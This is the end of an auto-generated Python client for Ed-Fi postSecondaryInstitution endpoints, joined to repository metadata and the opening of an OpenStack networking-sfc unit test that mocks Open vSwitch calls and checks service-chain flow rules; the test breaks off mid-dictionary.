header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/postSecondaryInstitutions/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='EdFiPostSecondaryInstitution', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def post_post_secondary_institution(self, post_secondary_institution, **kwargs): # noqa: E501 """Creates or updates resources based on the natural key values of the supplied resource. # noqa: E501 The POST operation can be used to create or update resources. In database terms, this is often referred to as an \"upsert\" operation (insert + update). Clients should NOT include the resource \"id\" in the JSON body because it will result in an error. The web service will identify whether the resource already exists based on the natural key values provided, and update or create the resource appropriately. It is recommended to use POST for both create and update except while updating natural key of a resource in which case PUT operation must be used. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.post_post_secondary_institution(post_secondary_institution, async_req=True) >>> result = thread.get() :param async_req bool :param EdFiPostSecondaryInstitution post_secondary_institution: The JSON representation of the \"postSecondaryInstitution\" resource to be created or updated. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.post_post_secondary_institution_with_http_info(post_secondary_institution, **kwargs) # noqa: E501 else: (data) = self.post_post_secondary_institution_with_http_info(post_secondary_institution, **kwargs) # noqa: E501 return data def post_post_secondary_institution_with_http_info(self, post_secondary_institution, **kwargs): # noqa: E501 """Creates or updates resources based on the natural key values of the supplied resource. # noqa: E501 The POST operation can be used to create or update resources. In database terms, this is often referred to as an \"upsert\" operation (insert + update). Clients should NOT include the resource \"id\" in the JSON body because it will result in an error. The web service will identify whether the resource already exists based on the natural key values provided, and update or create the resource appropriately. It is recommended to use POST for both create and update except while updating natural key of a resource in which case PUT operation must be used. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.post_post_secondary_institution_with_http_info(post_secondary_institution, async_req=True) >>> result = thread.get() :param async_req bool :param EdFiPostSecondaryInstitution post_secondary_institution: The JSON representation of the \"postSecondaryInstitution\" resource to be created or updated. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['post_secondary_institution'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_post_secondary_institution" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'post_secondary_institution' is set if self.api_client.client_side_validation and ('post_secondary_institution' not in params or params['post_secondary_institution'] is None): # noqa: E501 raise ValueError("Missing the required parameter `post_secondary_institution` when calling `post_post_secondary_institution`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'post_secondary_institution' in params: body_params = params['post_secondary_institution'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/postSecondaryInstitutions', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def put_post_secondary_institution(self, id, post_secondary_institution, **kwargs): # noqa: E501 """Updates a resource based on the resource identifier. # noqa: E501 The PUT operation is used to update a resource by identifier. If the resource identifier (\"id\") is provided in the JSON body, it will be ignored. Additionally, this API resource is not configured for cascading natural key updates. Natural key values for this resource cannot be changed using PUT operation and will not be modified in the database, and so recommendation is to use POST as that supports upsert behavior. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_post_secondary_institution(id, post_secondary_institution, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param EdFiPostSecondaryInstitution post_secondary_institution: The JSON representation of the \"postSecondaryInstitution\" resource to be created or updated. (required) :param str if_match: The ETag header value used to prevent the PUT from updating a resource modified by another consumer. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.put_post_secondary_institution_with_http_info(id, post_secondary_institution, **kwargs) # noqa: E501 else: (data) = self.put_post_secondary_institution_with_http_info(id, post_secondary_institution, **kwargs) # noqa: E501 return data def put_post_secondary_institution_with_http_info(self, id, post_secondary_institution, **kwargs): # noqa: E501 """Updates a resource based on the resource identifier. # noqa: E501 The PUT operation is used to update a resource by identifier. If the resource identifier (\"id\") is provided in the JSON body, it will be ignored. Additionally, this API resource is not configured for cascading natural key updates. Natural key values for this resource cannot be changed using PUT operation and will not be modified in the database, and so recommendation is to use POST as that supports upsert behavior. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_post_secondary_institution_with_http_info(id, post_secondary_institution, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param EdFiPostSecondaryInstitution post_secondary_institution: The JSON representation of the \"postSecondaryInstitution\" resource to be created or updated. (required) :param str if_match: The ETag header value used to prevent the PUT from updating a resource modified by another consumer. :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'post_secondary_institution', 'if_match'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method put_post_secondary_institution" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in params or params['id'] is None): # noqa: E501 raise ValueError("Missing the required parameter `id` when calling `put_post_secondary_institution`") # noqa: E501 # verify the required parameter 'post_secondary_institution' is set if self.api_client.client_side_validation and ('post_secondary_institution' not in params or params['post_secondary_institution'] is None): # noqa: E501 raise ValueError("Missing the required parameter `post_secondary_institution` when calling `put_post_secondary_institution`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} if 'if_match' in params: header_params['If-Match'] = params['if_match'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'post_secondary_institution' in params: body_params = params['post_secondary_institution'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/postSecondaryInstitutions/{id}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

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0.952521

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0.907788

0.90162

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706

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55.225212

0.848427

0.433173

0

0.775132

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0.015873

0.258685

0.119536

0

1

0.034392

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7

ce0e3212ff62b466052b6a0e62e515f902e1c846

86,191

py

Python

networking_sfc/tests/unit/services/sfc/agent/extensions/openvswitch/test_sfc_driver.py

mail2nsrajesh/networking-sfc

065ead63fbda222ffd12e8d7c9db197c39daac98

[ "Apache-2.0" ]

null

networking_sfc/tests/unit/services/sfc/agent/extensions/openvswitch/test_sfc_driver.py

mail2nsrajesh/networking-sfc

065ead63fbda222ffd12e8d7c9db197c39daac98

[ "Apache-2.0" ]

null

networking_sfc/tests/unit/services/sfc/agent/extensions/openvswitch/test_sfc_driver.py

mail2nsrajesh/networking-sfc

065ead63fbda222ffd12e8d7c9db197c39daac98

[ "Apache-2.0" ]

null

# Copyright 2015 Huawei. # Copyright 2016 Red Hat, Inc. # Copyright 2017 Intel Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import mock from oslo_config import cfg from oslo_utils import uuidutils from neutron.agent.common import ovs_lib from neutron.agent.common import utils from neutron.plugins.ml2.drivers.openvswitch.agent import ( ovs_agent_extension_api as ovs_ext_api) from neutron.plugins.ml2.drivers.openvswitch.agent.openflow.ovs_ofctl import ( ovs_bridge) from neutron.tests.unit.plugins.ml2.drivers.openvswitch.agent import ( ovs_test_base) from networking_sfc.services.sfc.agent.extensions.openvswitch import sfc_driver from networking_sfc.services.sfc.common import ovs_ext_lib class SfcAgentDriverTestCase(ovs_test_base.OVSOFCtlTestBase): def _clear_local_entries(self): self.executed_cmds = [] self.node_flowrules = [] self.added_flows = [] self.deleted_flows = [] self.group_mapping = {} self.deleted_groups = [] self.port_mapping = {} def setUp(self): cfg.CONF.set_override('local_ip', '10.0.0.1', 'OVS') super(SfcAgentDriverTestCase, self).setUp() self._clear_local_entries() self.execute = mock.patch.object( utils, "execute", self.mock_execute, spec=utils.execute) self.execute.start() self.set_protocols = mock.patch( 'neutron.agent.common.ovs_lib.OVSBridge.set_protocols') self.set_protocols.start() self.add_flow = mock.patch( "neutron.agent.common.ovs_lib.OVSBridge.add_flow", self.mock_add_flow ) self.add_flow.start() self.delete_flows = mock.patch( "neutron.agent.common.ovs_lib.OVSBridge.delete_flows", self.mock_delete_flows ) self.delete_flows.start() self.int_patch = 1 self.tun_patch = 2 self.default_port_mapping = { 'patch-int': { 'ofport': self.int_patch }, 'patch-tun': { 'ofport': self.tun_patch } } self.get_vif_port_by_id = mock.patch.object( ovs_lib.OVSBridge, "get_vif_port_by_id", self.mock_get_vif_port_by_id ) self.get_vif_port_by_id.start() self.get_vlan_by_port = mock.patch.object( sfc_driver.SfcOVSAgentDriver, "_get_vlan_by_port", self.mock_get_vlan_by_port ) self.get_vlan_by_port.start() self.get_port_ofport = mock.patch.object( ovs_lib.OVSBridge, "get_port_ofport", self.mock_get_port_ofport ) self.get_port_ofport.start() self.set_secure_mode = mock.patch.object( ovs_lib.OVSBridge, "set_secure_mode", self.mock_set_secure_mode ) self.set_secure_mode.start() self.del_controller = mock.patch.object( ovs_lib.OVSBridge, "del_controller", self.mock_del_controller ) self.del_controller.start() self.get_bridges = mock.patch.object( ovs_lib.BaseOVS, "get_bridges", self.mock_get_bridges ) self.get_bridges.start() self.get_vif_ports = mock.patch.object( ovs_lib.OVSBridge, "get_vif_ports", self.mock_get_vif_ports ) self.get_vif_ports.start() self.get_ports_attributes = mock.patch.object( ovs_lib.OVSBridge, "get_ports_attributes", self.mock_get_ports_attributes ) self.get_ports_attributes.start() self.delete_port = mock.patch.object( ovs_lib.OVSBridge, "delete_port", self.mock_delete_port ) self.delete_port.start() self.create = mock.patch.object( ovs_lib.OVSBridge, "create", self.mock_create ) self.create.start() self.add_port = mock.patch.object( ovs_lib.OVSBridge, "add_port", self.mock_add_port ) self.add_port.start() self.bridge_exists = mock.patch.object( ovs_lib.BaseOVS, "bridge_exists", self.mock_bridge_exists ) self.bridge_exists.start() self.port_exists = mock.patch.object( ovs_lib.BaseOVS, "port_exists", self.mock_port_exists ) self.port_exists.start() self.capabilities = mock.patch.object( ovs_lib.BaseOVS, "capabilities", self.mock_capabilities ) self.capabilities.start() self.apply_flows = mock.patch.object( ovs_lib.DeferredOVSBridge, "apply_flows", self.mock_apply_flows ) self.apply_flows.start() self.dump_group_for_id = mock.patch.object( ovs_ext_lib.SfcOVSBridgeExt, "dump_group_for_id", self.mock_dump_group_for_id ) self.dump_group_for_id.start() self.add_group = mock.patch.object( ovs_ext_lib.SfcOVSBridgeExt, "add_group", self.mock_add_group ) self.add_group.start() self.mod_group = mock.patch.object( ovs_ext_lib.SfcOVSBridgeExt, "mod_group", self.mock_mod_group ) self.mod_group.start() self.delete_group = mock.patch.object( ovs_ext_lib.SfcOVSBridgeExt, "delete_group", self.mock_delete_group ) self.delete_group.start() self.sfc_driver = sfc_driver.SfcOVSAgentDriver() self.agent_api = ovs_ext_api.OVSAgentExtensionAPI( ovs_bridge.OVSAgentBridge('br-int'), ovs_bridge.OVSAgentBridge('br-tun')) self.sfc_driver.consume_api(self.agent_api) self.sfc_driver.initialize() self._clear_local_entries() def mock_delete_group(self, group_id): if group_id == 'all': self.group_mapping = {} else: if group_id in self.group_mapping: del self.group_mapping[group_id] self.deleted_groups.append(group_id) def mock_mod_group(self, group_id, **kwargs): kwargs['group_id'] = group_id self.group_mapping[group_id] = kwargs def mock_add_group(self, group_id, **kwargs): kwargs['group_id'] = group_id self.group_mapping[group_id] = kwargs def mock_dump_group_for_id(self, group_id): if group_id in self.group_mapping: group_list = [] group = self.group_mapping[group_id] for group_key, group_value in group.items(): group_list.append('%s=%s' % (group_key, group_value)) return ' '.join(group_list) else: return '' def mock_set_secure_mode(self): pass def mock_del_controller(self): pass def mock_get_bridges(self): return ['br-int', 'br-tun'] def mock_get_port_ofport(self, port_name): for port_id, port_values in self.port_mapping.items(): if port_values['port_name'] == port_name: return port_values['ofport'] if port_name in self.default_port_mapping: return self.default_port_mapping[port_name]['ofport'] return ovs_lib.INVALID_OFPORT def mock_add_port(self, port_name, *interface_attr_tuples): return self.mock_get_port_ofport(port_name) def mock_bridge_exists(self, bridge_name): return True def mock_port_exists(self, port_name): return True def mock_capabilities(self): return {'datapath_types': [], 'iface_types': []} def mock_apply_flows(self): pass def mock_get_vif_port_by_id(self, port_id): if port_id in self.port_mapping: port_values = self.port_mapping[port_id] return ovs_lib.VifPort( port_values['port_name'], port_values['ofport'], port_id, port_values['vif_mac'], self.sfc_driver.br_int ) def mock_get_vlan_by_port(self, port_id): return 0 def mock_get_vif_ports(self, ofport_filter): vif_ports = [] for port_id, port_values in self.port_mapping.items(): vif_ports.append( ovs_lib.VifPort( port_values['port_name'], port_values['ofport'], port_id, port_values['vif_mac'], self.sfc_driver.br_int ) ) return vif_ports def mock_get_ports_attributes( self, table, columns=None, ports=None, check_error=True, log_errors=True, if_exists=False ): port_infos = [] for port_id, port_values in self.port_mapping.items(): port_info = {} if columns: if 'name' in columns: port_info['name'] = port_values['port_name'] if 'ofport' in columns: port_info['ofport'] = port_values['ofport'] if 'extenal_ids' in columns: port_info['extenal_ids'] = { 'iface-id': port_id, 'attached-mac': port_values['vif_mac'] } if 'other_config' in columns: port_info['other_config'] = {} if 'tag' in columns: port_info['tag'] = [] else: port_info = { 'name': port_values['port_name'], 'ofport': port_values['ofport'], 'extenal_ids': { 'iface-id': port_id, 'attached-mac': port_values['vif_mac'] }, 'other_config': {}, 'tag': [] } if ports: if port_values['port_name'] in ports: port_infos.append(port_info) else: port_infos.append(port_info) return port_infos def mock_delete_port(self, port_name): found_port_id = None for port_id, port_values in self.port_mapping.items(): if port_values['port_name'] == port_name: found_port_id = port_id if found_port_id: del self.port_mapping[found_port_id] def mock_create(self, secure_mode=False): pass def mock_add_flow(self, *args, **kwargs): if kwargs not in self.added_flows: self.added_flows.append(kwargs) def mock_delete_flows(self, *args, **kwargs): if kwargs not in self.deleted_flows: self.deleted_flows.append(kwargs) def mock_get_flowrules_by_host_portid(self, context, port_id): return [ flowrule for flowrule in self.node_flowrules if ( flowrule['ingress'] == port_id or flowrule['egress'] == port_id ) ] def mock_get_all_src_node_flowrules(self, context): return [ flowrule for flowrule in self.node_flowrules if ( flowrule['node_type'] == 'src_node' and flowrule['egress'] is None ) ] def mock_execute(self, cmd, *args, **kwargs): self.executed_cmds.append(' '.join(cmd)) def tearDown(self): self.execute.stop() self.set_protocols.stop() self.add_flow.stop() self.delete_flows.stop() self.get_vif_port_by_id.stop() self.get_vlan_by_port.stop() self.get_port_ofport.stop() self.set_secure_mode.stop() self.del_controller.stop() self.get_bridges.stop() self.get_vif_ports.stop() self.get_ports_attributes.stop() self.delete_port.stop() self.create.stop() self.add_port.stop() self.bridge_exists.stop() self.port_exists.stop() self.capabilities.stop() self.apply_flows.stop() self.dump_group_for_id.stop() self.add_group.stop() self.mod_group.stop() self.delete_group.stop() self._clear_local_entries() super(SfcAgentDriverTestCase, self).tearDown() def _prepare_update_flow_rules_sf_node_empty_next_hops(self, pc_corr, pp_corr): self.port_mapping = { 'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': { 'port_name': 'src_port', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '2f1d2140-42ce-4979-9542-7ef25796e536': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.update_flow_rules( { 'nsi': 254, 'ingress': u'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579', 'next_hops': None, 'del_fcs': [], 'group_refcnt': 1, 'node_type': 'sf_node', 'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536', 'next_group_id': None, 'nsp': 256, 'add_fcs': [], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) def test_update_flow_rules_sf_node_empty_next_hops(self): self._prepare_update_flow_rules_sf_node_empty_next_hops('mpls', None) self.assertEqual( [], self.executed_cmds ) self.assertEqual( [{ 'actions': 'strip_vlan, pop_mpls:0x0800,output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65791, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( {}, self.group_mapping ) def test_update_flow_rules_sf_node_empty_next_hops_no_proxy(self): self._prepare_update_flow_rules_sf_node_empty_next_hops('mpls', 'mpls') self.assertEqual( [], self.executed_cmds ) self.assertEqual( [{ 'actions': 'strip_vlan, output:6', 'dl_dst': '00:01:02:03:05:07', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65791, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( {}, self.group_mapping ) def test_update_flow_rules_src_node_empty_next_hops(self): self.port_mapping = { '2f1d2140-42ce-4979-9542-7ef25796e536': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.update_flow_rules( { 'nsi': 254, 'ingress': None, 'next_hops': None, 'del_fcs': [], 'group_refcnt': 1, 'node_type': 'src_node', 'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536', 'next_group_id': None, 'nsp': 256, 'add_fcs': [], 'id': uuidutils.generate_uuid(), 'fwd_path': True }, status ) self.assertEqual( [], self.executed_cmds ) self.assertEqual( [], self.added_flows ) self.assertEqual( {}, self.group_mapping ) def _prepare_update_flow_rules_src_node_empty_next_hops_a_d(self, pc_corr, pp_corr): self.port_mapping = { '9bedd01e-c216-4dfd-b48e-fbd5c8212ba4': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.update_flow_rules( { 'nsi': 255, 'ingress': None, 'next_hops': None, 'del_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': u'10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': u'IPv4', 'destination_port_range_max': 100, }], 'group_refcnt': 1, 'node_type': 'src_node', 'egress': u'9bedd01e-c216-4dfd-b48e-fbd5c8212ba4', 'next_group_id': None, 'nsp': 256, 'add_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': u'10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': u'IPv4', 'destination_port_range_max': 100, }], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) self.assertEqual( [], self.executed_cmds ) def _test_update_flow_rules_src_empty_next_hops_a_d(self, pc_corr): self._prepare_update_flow_rules_src_node_empty_next_hops_a_d( pc_corr, None) self.assertEqual( [{ 'actions': 'normal', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': u'10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }], self.added_flows ) self.assertEqual( [{ 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': u'10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff', 'strict': True, }], self.deleted_flows ) self.assertEqual( {}, self.group_mapping ) def test_update_flow_rules_src_node_empty_next_hops_add_fcs_del_fcs(self): self._test_update_flow_rules_src_empty_next_hops_a_d('mpls') def test_update_flow_rules_src_node_empty_next_hops_a_d_no_proxy(self): self._prepare_update_flow_rules_src_node_empty_next_hops_a_d( 'mpls', 'mpls') self.assertEqual( [{ 'actions': 'normal', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': u'10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }], self.added_flows ) self.assertEqual( [{ 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': u'10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff', 'strict': True, }], self.deleted_flows ) self.assertEqual( {}, self.group_mapping ) def _prepare_update_flow_rules_sf_node_empty_next_hops_a_d(self, pc_corr, pp_corr): self.port_mapping = { '9bedd01e-c216-4dfd-b48e-fbd5c8212ba4': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', }, '2f1d2140-42ce-4979-9542-7ef25796e536': { 'port_name': 'dst_port', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.update_flow_rules( { 'nsi': 255, 'ingress': '2f1d2140-42ce-4979-9542-7ef25796e536', 'next_hops': None, 'del_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': u'10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': u'IPv4', 'destination_port_range_max': 100, }], 'group_refcnt': 1, 'node_type': 'sf_node', 'egress': u'9bedd01e-c216-4dfd-b48e-fbd5c8212ba4', 'next_group_id': None, 'nsp': 256, 'add_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': u'10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': u'IPv4', 'destination_port_range_max': 100, }], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': pp_corr }, status ) self.assertEqual( [], self.executed_cmds ) def test_update_flow_rules_sf_node_empty_next_hops_add_fcs_del_fcs(self): self._prepare_update_flow_rules_sf_node_empty_next_hops_a_d( 'mpls', None) self.assertEqual( [], self.executed_cmds ) self.assertEqual( [{ 'actions': 'normal', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': u'10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }, { 'actions': 'strip_vlan, pop_mpls:0x0800,output:42', 'dl_dst': '00:01:02:03:06:08', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( [{ 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': u'10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff', 'strict': True, }], self.deleted_flows ) self.assertEqual( {}, self.group_mapping ) def test_update_flow_rules_sf_node_empty_next_hops_a_d_no_proxy(self): # this test exercises the last SF_NODE in a chain with encapsulation self._prepare_update_flow_rules_sf_node_empty_next_hops_a_d( 'mpls', 'mpls') self.assertEqual( [{ 'actions': 'pop_mpls:0x0800,normal', 'dl_type': 34887, 'in_port': 42, 'mpls_label': 65791, 'priority': 30, 'table': 0 }, { 'actions': 'strip_vlan, output:42', 'dl_dst': '00:01:02:03:06:08', 'dl_type': 34887, 'dl_vlan': 0, 'mpls_label': 65792, 'priority': 1, 'table': 10 }], self.added_flows ) self.assertEqual( [{ 'dl_type': 34887, 'in_port': 42, 'mpls_label': 65791, 'priority': 30, 'table': 0, 'strict': True, }], self.deleted_flows ) self.assertEqual( {}, self.group_mapping ) def _prepare_update_flow_rules_src_node_next_hops_add_fcs(self, pc_corr, pp_corr_nh): self.port_mapping = { '8768d2b3-746d-4868-ae0e-e81861c2b4e6': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '29e38fb2-a643-43b1-baa8-a86596461cd5': { 'port_name': 'port2', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.update_flow_rules( { 'nsi': 255, 'ingress': None, 'next_hops': [{ 'local_endpoint': '10.0.0.2', 'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6', 'weight': 1, 'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7', 'network_type': 'vxlan', 'segment_id': 33, 'gw_mac': '00:01:02:03:06:09', 'cidr': '10.0.0.0/8', 'in_mac_address': '12:34:56:78:cf:23', 'pp_corr': pp_corr_nh }], 'del_fcs': [], 'group_refcnt': 1, 'node_type': 'src_node', 'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5', 'next_group_id': 1, 'nsp': 256, 'add_fcs': [{ 'source_port_range_min': 100, 'destination_ip_prefix': u'10.200.0.0/16', 'protocol': u'tcp', 'l7_parameters': {}, 'source_port_range_max': 100, 'source_ip_prefix': '10.100.0.0/16', 'destination_port_range_min': 100, 'ethertype': 'IPv4', 'destination_port_range_max': 100, }], 'id': uuidutils.generate_uuid(), 'fwd_path': True, 'pc_corr': pc_corr, 'pp_corr': None }, status ) self.assertEqual( [], self.executed_cmds ) def test_update_flow_rules_src_node_next_hops_add_fcs(self): self._prepare_update_flow_rules_src_node_next_hops_add_fcs( 'mpls', None) self.assertEqual( [{ 'actions': ( 'push_mpls:0x8847,set_mpls_label:65791,' 'set_mpls_ttl:255,mod_vlan_vid:0,,output:2'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 2048, 'priority': 0, 'table': 5 }, { 'actions': 'group:1', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def test_update_flow_rules_src_node_next_hops_add_fcs_no_proxy(self): self._prepare_update_flow_rules_src_node_next_hops_add_fcs( 'mpls', 'mpls') self.assertEqual( [{ 'actions': ( 'mod_vlan_vid:0,,output:2'), 'dl_dst': '12:34:56:78:cf:23', 'dl_type': 34887, 'priority': 0, 'table': 5 }, { 'actions': 'push_mpls:0x8847,set_mpls_label:65791,' 'set_mpls_ttl:255,group:1', 'dl_type': 2048, 'in_port': 42, 'nw_dst': u'10.200.0.0/16', 'nw_proto': 6, 'nw_src': '10.100.0.0/16', 'priority': 30, 'table': 0, 'tp_dst': '0x64/0xffff', 'tp_src': '0x64/0xffff' }], self.added_flows ) self.assertEqual( { 1: { 'buckets': ( 'bucket=weight=1, ' 'mod_dl_dst:12:34:56:78:cf:23, ' 'resubmit(,5)' ), 'group_id': 1, 'type': 'select' } }, self.group_mapping ) def _prepare_update_flow_rules_src_node_next_hops_same_host_a( self, pc_corr, pp_corr_nh): self.port_mapping = { '8768d2b3-746d-4868-ae0e-e81861c2b4e6': { 'port_name': 'port1', 'ofport': 6, 'vif_mac': '00:01:02:03:05:07', }, '29e38fb2-a643-43b1-baa8-a86596461cd5': { 'port_name': 'port2', 'ofport': 42, 'vif_mac': '00:01:02:03:06:08', } } status = [] self.sfc_driver.update_flow_rules( { 'nsi': 255, 'ingress': None, 'next_hops': [{ 'local_endpoint': '10.0.0.1', 'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6', 'weight': 1, 'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7', 'network_type': 'vxlan', 'segment_id': 33, 'gw_mac': '00:01:02:03:06:09', 'cidr': '10.0.0.0/8', 'in_mac_address': '12:34:56:78:cf:23', 'pp_corr': pp_corr_nh }], 'del_fcs': [], 'group_refcnt': 1, 'node_type': 'src_node', 'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5', 'next_group_id': 1, 'nsp': 256, 'add_fcs': [{ 